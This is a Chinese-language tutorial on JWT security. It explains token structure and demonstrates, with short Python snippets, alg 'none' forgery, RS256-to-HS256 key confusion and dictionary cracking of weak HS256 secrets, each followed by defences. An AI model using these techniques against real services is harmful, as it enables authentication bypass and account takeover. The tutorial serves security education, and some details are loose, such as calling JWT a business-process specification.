JSON Web Token (JWT) 攻击技巧详解

1. JWT 概述

JSON Web Token (JWT) 是一种轻量级的业务流程管理规范，用于在用户和服务器之间安全可靠地传递信息。它通常用于实现前端和后端的解耦，并与 Restful API 一起构建身份验证机制。

JWT 工作流程

1. 用户提交凭证（如用户名/密码）
2. 服务器验证凭证
3. 验证通过后，服务器返回包含 JWT 的响应
4. 后续请求中，客户端在 Authorization 头中添加 JWT（格式为 Authorization: jwt <token>）
5. JWT 通常存储在客户端的本地存储（LocalStorage）中

2. JWT 结构

JWT 由三部分组成，用点号(.)分隔：

• 头部(Header)
• 有效载荷(Payload)
• 签名(Signature)

格式：base64UrlEncode(header).base64UrlEncode(payload).signature

2.1 头部(Header)

包含 JWT 的配置信息，通常包括：

• alg：签名算法（如 HS256、RS256）
• typ：令牌类型（通常为 "JWT"）
• kid：密钥 ID（当服务器使用多个密钥时）

示例解码后：

{
  "kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851",
  "typ": "JWT",
  "alg": "RS256"
}

2.2 有效载荷(Payload)

包含用户数据（声明），如用户 ID、用户名等。

示例解码后：

{
  "sub": "dubhe123"
}

2.3 签名(Signature)

用于验证消息在传输过程中未被篡改。签名算法通常为：

• RS256（RSA 非对称加密，使用私钥签名，公钥验证）
• HS256（HMAC SHA256 对称加密，使用密钥签名和验证）

3. JWT 攻击技术

3.1 敏感信息泄露

由于有效载荷是 Base64 编码的明文，如果其中包含敏感信息（如密码、密钥等），攻击者可以直接解码获取这些信息。

防御措施：不要在 JWT 中存储敏感信息。

3.2 将签名算法改为 none

一些 JWT 库支持 none 算法，即不进行签名验证。攻击步骤：

1. 修改头部中的 alg 为 none
2. 删除签名部分（只保留 header.payload.）
3. 提交给服务器

示例代码：

import base64

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print(b64urlencode('{"typ":"JWT","alg":"none"}') + 
      '.' + 
      b64urlencode('{"data":"test"}') + 
      '.')

防御措施：禁用 none 算法支持，或明确拒绝没有签名的 JWT。

3.3 将 RS256 算法改为 HS256（非对称→对称）

攻击步骤：

1. 获取服务器的 RSA 公钥
2. 修改头部中的 alg 从 RS256 改为 HS256
3. 使用 RSA 公钥作为 HMAC 密钥对 JWT 进行签名
4. 服务器会使用公钥作为 HMAC 密钥来验证签名

示例代码：

import jwt

public = open('public.pem', 'r').read()
print(jwt.encode({"data": "test"}, key=public, algorithm='HS256'))

防御措施：

• 在验证签名时强制使用预期的算法
• 不要将公钥与对称算法混合使用

3.4 破解 HS256 密钥

如果 HS256 使用的密钥强度较弱，攻击者可以进行暴力破解。

破解方法：

1. 收集有效的 JWT
2. 使用字典或暴力攻击尝试不同密钥
3. 当解码不抛出异常时，说明找到了正确密钥

示例代码：

import jwt

# 已知的有效 JWT 和解码后的内容
valid_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg"
known_payload = {"some": "payload"}

# 尝试破解密钥
possible_keys = ["secret", "password", "123456", ...]
for key in possible_keys:
    try:
        decoded = jwt.decode(valid_jwt, key, algorithms=['HS256'])
        if decoded == known_payload:
            print(f"Found key: {key}")
            break
    except:
        continue

防御措施：

• 使用足够长且复杂的 HS256 密钥
• 定期更换密钥
• 考虑使用 RS256 等非对称算法替代 HS256

4. 防御建议

1. 验证算法：在服务器端明确指定接受的算法，拒绝任何非预期的算法
2. 密钥管理：
   • 对 HS256 使用强密钥
   • 对 RS256 妥善保管私钥
3. 信息最小化：不要在 JWT 中存储敏感信息
4. 设置合理有效期：使用 exp 声明设置短期有效的 JWT
5. 使用 HTTPS：防止 JWT 在传输过程中被窃取
6. 实施令牌撤销机制：对于敏感操作，提供令牌撤销能力

5. 参考工具

1. jwt.io - JWT 调试和验证工具
2. PyJWT - Python 的 JWT 库
3. John the Ripper - 可用于暴力破解弱密钥
4. jwt_tool - 专门的 JWT 测试工具

6. 总结

JWT 作为一种广泛使用的身份验证机制，如果配置不当会带来严重的安全风险。安全人员应充分了解 JWT 的各种攻击技术，并在实现时采取相应的防御措施。特别要注意算法选择、密钥管理和信息保护等关键方面。